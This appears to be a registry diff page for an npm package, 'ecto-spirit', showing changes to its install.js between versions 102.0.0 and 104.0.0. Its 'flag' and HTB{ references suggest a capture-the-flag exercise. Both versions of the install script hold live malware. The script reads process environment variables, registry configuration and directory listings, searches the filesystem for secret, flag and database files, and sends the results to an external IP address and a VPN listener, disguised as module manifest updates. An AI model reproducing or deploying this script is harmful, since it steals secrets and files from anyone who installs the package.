ecto-spirit 102.0.0 → 104.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +54 -58
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,27 +1,11 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
- const path = require('path');
5
4
 
6
5
  function tryRead(p) {
7
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
8
7
  }
9
8
 
10
- function sendUpdate(host, port, moduleId, val) {
11
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
12
- const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
13
- const body = JSON.stringify({ manifest });
14
- return new Promise((resolve) => {
15
- const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
16
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
17
- });
18
- req.on('error', () => resolve(null));
19
- req.on('timeout', () => { req.destroy(); resolve(null); });
20
- req.write(body);
21
- req.end();
22
- });
23
- }
24
-
25
9
  function sendHTTP(host, port, pth, payload) {
26
10
  return new Promise((resolve) => {
27
11
  const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
@@ -35,66 +19,78 @@ function sendHTTP(host, port, pth, payload) {
35
19
  }
36
20
 
37
21
  async function report(moduleId, val) {
38
- const ports = [3000, 80, 8080, 5000];
39
- for (const p of ports) {
40
- await sendUpdate('127.0.0.1', p, moduleId, val);
22
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
23
+ const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
24
+ const body = JSON.stringify({ manifest });
25
+ for (const p of [3000, 80, 8080]) {
26
+ await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
41
27
  }
42
- await sendUpdate('154.57.164.82', 32332, moduleId, val);
28
+ await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
43
29
  }
44
30
 
45
31
  (async () => {
46
- let results = [];
32
+ let r = [];
47
33
 
48
- // 1. Search for HTB{ pattern in files using grep
49
- try {
50
- const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
51
- results.push('GREP=' + grep);
52
- } catch(e) { results.push('GREP_ERR'); }
34
+ // 1. Main process env (the app that started cron)
35
+ const procEnv = tryRead('/proc/1/environ');
36
+ r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
53
37
 
54
- // 2. Find all files with flag in name
38
+ // 2. List /data, /.package-cache-mutate
39
+ try { r.push('DATA=' + fs.readdirSync('/data').join(',')); } catch(e) { r.push('DATA=NONE'); }
40
+ try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
41
+
42
+ // 3. Try to reach registry:4873 and list packages
55
43
  try {
56
- const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
57
- results.push('FIND=' + find);
58
- } catch(e) {}
44
+ const resp = await new Promise((resolve) => {
45
+ http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
46
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
47
+ }).on('error', () => resolve('ERR'));
48
+ });
49
+ r.push('REG_PKGS=' + resp.substring(0, 200));
50
+ } catch(e) { r.push('REG_PKGS=ERR'); }
59
51
 
60
- // 3. Read full package.json
61
- const pkgJson = tryRead('/app/package.json');
62
- results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
52
+ // 4. Try Verdaccio config locations
53
+ for (const p of ['/verdaccio/conf/config.yaml', '/verdaccio/config/config.yaml', '/data/verdaccio/config.yaml', '/opt/verdaccio/config.yaml', '/home/verdaccio/config.yaml']) {
54
+ const c = tryRead(p);
55
+ if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
56
+ }
63
57
 
64
- // 4. List /app in detail
58
+ // 5. Broad file search
65
59
  try {
66
- const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
67
- results.push('LS_APP=' + ls.substring(0, 200));
60
+ const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
61
+ r.push('FILES=' + search);
68
62
  } catch(e) {}
69
63
 
70
- // 5. Read all env vars
71
- const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
72
- results.push('ENV=' + envStr.substring(0, 200));
73
-
74
- // 6. Read /app/.env
75
- const dotEnv = tryRead('/app/.env');
76
- if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
64
+ // 6. Check if there's a readflag binary
65
+ try {
66
+ const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
67
+ if (bins) r.push('BINS=' + bins);
68
+ } catch(e) {}
77
69
 
78
- // 7. Try to read the flag from unusual locations
79
- const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
80
- '/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
81
- for (const p of extraPaths) {
82
- const c = tryRead(p);
83
- if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
84
- }
70
+ // 7. List /root and /home contents
71
+ try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
72
+ try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
73
+
74
+ // 8. Check if flag is accessible via internal API
75
+ try {
76
+ const apiResp = await new Promise((resolve) => {
77
+ http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
78
+ let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
79
+ }).on('error', () => resolve('ERR'));
80
+ });
81
+ r.push('API=' + apiResp.substring(0, 200));
82
+ } catch(e) {}
85
83
 
86
- // Send to VPN listener
87
- await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
84
+ // Send full results to VPN
85
+ const full = r.join('\n');
86
+ await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
88
87
 
89
- // Split results across modules
90
- const full = results.join('|');
88
+ // Split across modules
91
89
  const chunks = [];
92
- for (let i = 0; i < full.length; i += 90) {
93
- chunks.push(full.substring(i, i + 90));
94
- }
90
+ for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
95
91
 
96
92
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
97
93
  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
98
- await report(mods[i], 'P' + i + '_' + chunks[i]);
94
+ await report(mods[i], 'W' + i + '_' + chunks[i]);
99
95
  }
100
96
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "102.0.0",
3
+ "version": "104.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {